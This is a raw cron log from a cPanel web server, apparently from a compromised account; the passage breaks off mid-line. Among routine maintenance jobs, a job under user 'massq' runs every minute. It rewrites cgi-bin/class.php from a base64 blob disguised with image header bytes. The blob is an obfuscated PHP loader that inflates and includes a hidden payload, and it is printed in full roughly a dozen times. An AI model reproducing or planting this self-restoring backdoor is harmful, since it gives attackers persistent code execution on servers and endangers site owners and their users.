Sep 10 11:10:01 server CROND[30668]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:10:01 server CROND[30669]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:10:01 server CROND[30671]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:10:01 server CROND[30672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:10:01 server CROND[30676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:10:01 server CROND[30675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:10:01 server CROND[30679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:11:01 server CROND[31531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:11:01 server CROND[31532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:11:01 server CROND[31533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:12:01 server CROND[31903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:12:01 server CROND[31905]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 11:12:01 server CROND[31904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:12:01 server CROND[31906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:13:01 server CROND[32270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:13:01 server CROND[32271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:13:01 server CROND[32272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:14:01 server CROND[32640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:14:01 server CROND[32641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:14:01 server CROND[32642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:15:01 server CROND[668]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 11:15:01 server CROND[669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:15:01 server CROND[672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:15:01 server CROND[670]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:15:01 server CROND[673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:15:01 server CROND[685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:15:01 server CROND[687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:15:01 server CROND[703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:16:01 server CROND[1617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:16:01 server CROND[1618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:16:01 server CROND[1619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:17:01 server CROND[2077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:17:01 server CROND[2078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:17:01 server CROND[2079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:18:01 server CROND[2451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:18:01 server CROND[2452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:18:01 server CROND[2450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:19:01 server CROND[2896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:19:01 server CROND[2895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:19:01 server CROND[2897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:20:01 server CROND[3313]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:20:01 server CROND[3314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:20:01 server CROND[3316]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 11:20:01 server CROND[3324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:20:01 server CROND[3321]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:20:01 server CROND[3319]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:20:01 server CROND[3323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:20:01 server CROND[3322]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:20:01 server CROND[3320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:21:01 server CROND[4202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:21:01 server CROND[4203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:21:01 server CROND[4204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 